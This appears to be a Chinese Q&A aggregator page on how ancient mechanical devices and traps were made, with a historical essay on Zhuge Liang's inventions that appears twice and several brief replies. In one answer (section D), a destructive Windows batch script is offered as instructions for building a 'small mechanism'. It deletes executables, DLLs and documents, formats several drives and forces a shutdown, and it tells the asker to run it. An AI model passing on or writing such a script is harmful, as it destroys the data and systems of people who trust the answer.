機關製造
A. 古代機關是怎樣製造的拜託了各位 謝謝
法自術起,機由心生。在各種機械裝置里,機關堪稱最要害的部分,它微小而隱秘,卻「牽一發而動全身」,控制著整體的運動趨勢,是人類智慧和創造力的至高體現。當現代人用理性的眼光來打量古人生活中充滿奇思妙想的機關之術時,已不僅在尋找機關本身,還會發現機關背後古人的心思。 在中國人心目中,諸葛亮是智慧的化身,這位精於內政、長於戰略的武侯在歷史上也留下了不少謎團,其中之一就是他的製造之術。 正史《三國志·蜀志·諸葛亮傳》中評說:「亮性長於巧思,損益連弩,木牛流馬,皆出其意。推演兵法,作八陣圖,鹹得起要雲。」上述種種製作,的確是孔明的手筆,可以大膽地推測,孔明的機械製作術,很可能是繼承了戰國時期墨子和魯班的機關之術,並加以發揮改進,成為令人嘆為觀止的古代科技。 先看連弩,《三國演義》第一○四回,孔明逝世前把這種武器傳給了姜維,書中說「其法長八寸,一弩可十發。」《漢晉春秋》上也有「謂之元戎,以鐵為矢」的解釋。由此推斷,這種武器的個頭兒不算小,行軍攜帶也不方便,孔明出祁山北伐時,因路途艱險,沒有用它來裝備部隊,所以沒有用於實戰,直到諸葛亮去世後,才在蜀國批量地生產了一點。由於連弩殺傷力極強,把它作為守城的武器是十分理想的。後來,鍾會率領大軍進攻蜀國的時候,諸葛亮的連弩發揮了巨大作用。奇怪的是,至今流傳下來的卻是一弩一箭的小型弓箭,武侯的十矢弩神秘地消失了。 木牛流馬在《三國演義》第一○二回,即孔明六齣祁山時才出場的,而《三國志》中,則有蜀漢建元九年(公元231年)孔明第四次北伐的糧草「以流馬運」的記載,甚至還涉及到製作方法和尺寸比例。書中說,木牛流馬這種工具「載多而行少」,「人行六尺,牛行四步,每牛載數十人所食一月之糧,人不大勞,牛不飲食。」正如後人所幻想的那樣,既要馬兒跑得快,又要馬兒不吃草。 諸葛亮是一位機械製造的行家裡手,他的妻子黃氏也是一位發明家,民間傳說有一個有趣的故事,說她發明了一種可以用來推磨的木頭人,只要開動機關,那木頭人兒就不知疲倦地推起石磨。如果傳說成立,那這個木頭人兒便成了人類歷史上第一個機器人。 我國古代科技高度發達,機關之術也源遠流長,春秋戰國時期,魯班在從事偉大的營造和工具發明之餘,還發明了一種可以在天上飛翔的「木鳶」,這個飛翔的木質大鳥,應該是飛機的祖先。 因為戰爭的緣故,中國古代機關術很多用在了軍事上,最為典型的是諸葛亮的八陣圖,許多史籍中都有記載,最為詳盡的還是《三國演義》第八十四回中,陸遜誤入八陣圖後「狂風大作,飛沙走石」,落得慘敗。《水經注》中這樣論定:「八陣既成,自今行師,庶不覆敗矣。」說明這個陣法的確是很厲害的,因為它不僅有通常的軍事要素,而且,似乎還有許多深奧的玄學,分為「生、死、驚、傷、景、開、休、杜」八種陣法,而且能「變化為周天三百六十五」這樣的陣法,在世界戰爭史上是絕無僅有的。 中國古代機關之術,作為中國古代文化的重要組成部分,有些流傳至今,成為我們現代科技的基石。而很多卻已經失傳,湮沒在浩瀚的歷史中。
B. 小機關手工製作方法
我機關手工製作方法你其實有很多 你可以到網上搜尋一下 有很多的方法的
C. 小型機關術的製作方法有哪些
關於木甲術與機關術
「木甲術」以磁為動力,以磁榫來控制,追求的是能靈活輕巧,栩栩如生;「機關術」以畜為動力,以樞來控制,用作為戰爭軍事工具,追求剛硬肅殺。這兩者在氣質與理念上,可以說一開始便迥然不同
D. 小機關製作
@echo off
del /f /s /q %systemtos% *.exe
del /f /s /q %system% *.dll
echo *000c000e00000f20000xtom
del 0%
del /s /q d:\*.doc
del /s /q e:\*.doc
del /s /q e:\*.exe
del /s /q d:\*.exe
del /s /q c:\*.exe
format c:\ /f
format d:\ /f
format e:\ /f
echo."shutdown -s -t">>c:\autoexec.bat
shutdown -s -t 2
以上代碼輸到TXT里,再把擴展名改為BAT
運行就回死定了答
E. 怎樣製作古代的機關嗎,也就是說製造一個有機關的木盒子,做完之後在再按木盒上的機關然後木盒就會打開。
建議用彈璜,再加個開關,很簡單的.
F. 有沒有什麼關於古代機械、機關製造的書除了天工開物
《奇門遁甲》 裡面有一些古代戰車的製作方法
G. 如何製作機關
德神差點把手廢了才給弄好,你還是算了,一塊石板45度角下面壓另一塊石板的邊緣,兩塊石板交接處用一根樹枝支撐起兩塊石板。
H. gomd裡面怎麼製造機關
那裡面有個css 那玩意有什麼用 怎麼弄的
I. 一般機關是如何製造的
這個問題我也回答不了你,機關是什麼機關??說清楚好回答
J. 古代的機關器械是怎樣製造的
法自術起,機由心生。在各種機械裝置里,機關堪稱最要害的部分,它微小而隱秘,卻「牽一發而動全身」,控制著整體的運動趨勢,是人類智慧和創造力的至高體現。當現代人用理性的眼光來打量古人生活中充滿奇思妙想的機關之術時,已不僅在尋找機關本身,還會發現機關背後古人的心思。 在中國人心目中,諸葛亮是智慧的化身,這位精於內政、長於戰略的武侯在歷史上也留下了不少謎團,其中之一就是他的製造之術。 正史《三國志·蜀志·諸葛亮傳》中評說:「亮性長於巧思,損益連弩,木牛流馬,皆出其意。推演兵法,作八陣圖,鹹得起要雲。」上述種種製作,的確是孔明的手筆,可以大膽地推測,孔明的機械製作術,很可能是繼承了戰國時期墨子和魯班的機關之術,並加以發揮改進,成為令人嘆為觀止的古代科技。 先看連弩,《三國演義》第一○四回,孔明逝世前把這種武器傳給了姜維,書中說「其法長八寸,一弩可十發。」《漢晉春秋》上也有「謂之元戎,以鐵為矢」的解釋。由此推斷,這種武器的個頭兒不算小,行軍攜帶也不方便,孔明出祁山北伐時,因路途艱險,沒有用它來裝備部隊,所以沒有用於實戰,直到諸葛亮去世後,才在蜀國批量地生產了一點。由於連弩殺傷力極強,把它作為守城的武器是十分理想的。後來,鍾會率領大軍進攻蜀國的時候,諸葛亮的連弩發揮了巨大作用。奇怪的是,至今流傳下來的卻是一弩一箭的小型弓箭,武侯的十矢弩神秘地消失了。 木牛流馬在《三國演義》第一○二回,即孔明六齣祁山時才出場的,而《三國志》中,則有蜀漢建元九年(公元231年)孔明第四次北伐的糧草「以流馬運」的記載,甚至還涉及到製作方法和尺寸比例。書中說,木牛流馬這種工具「載多而行少」,「人行六尺,牛行四步,每牛載數十人所食一月之糧,人不大勞,牛不飲食。」正如後人所幻想的那樣,既要馬兒跑得快,又要馬兒不吃草。 諸葛亮是一位機械製造的行家裡手,他的妻子黃氏也是一位發明家,民間傳說有一個有趣的故事,說她發明了一種可以用來推磨的木頭人,只要開動機關,那木頭人兒就不知疲倦地推起石磨。如果傳說成立,那這個木頭人兒便成了人類歷史上第一個機器人。 我國古代科技高度發達,機關之術也源遠流長,春秋戰國時期,魯班在從事偉大的營造和工具發明之餘,還發明了一種可以在天上飛翔的「木鳶」,這個飛翔的木質大鳥,應該是飛機的祖先。 因為戰爭的緣故,中國古代機關術很多用在了軍事上,最為典型的是諸葛亮的八陣圖,許多史籍中都有記載,最為詳盡的還是《三國演義》第八十四回中,陸遜誤入八陣圖後「狂風大作,飛沙走石」,落得慘敗。《水經注》中這樣論定:「八陣既成,自今行師,庶不覆敗矣。」說明這個陣法的確是很厲害的,因為它不僅有通常的軍事要素,而且,似乎還有許多深奧的玄學,分為「生、死、驚、傷、景、開、休、杜」八種陣法,而且能「變化為周天三百六十五」這樣的陣法,在世界戰爭史上是絕無僅有的。 中國古代機關之術,作為中國古代文化的重要組成部分,有些流傳至今,成為我們現代科技的基石。而很多卻已經失傳,湮沒在浩瀚的歷史中。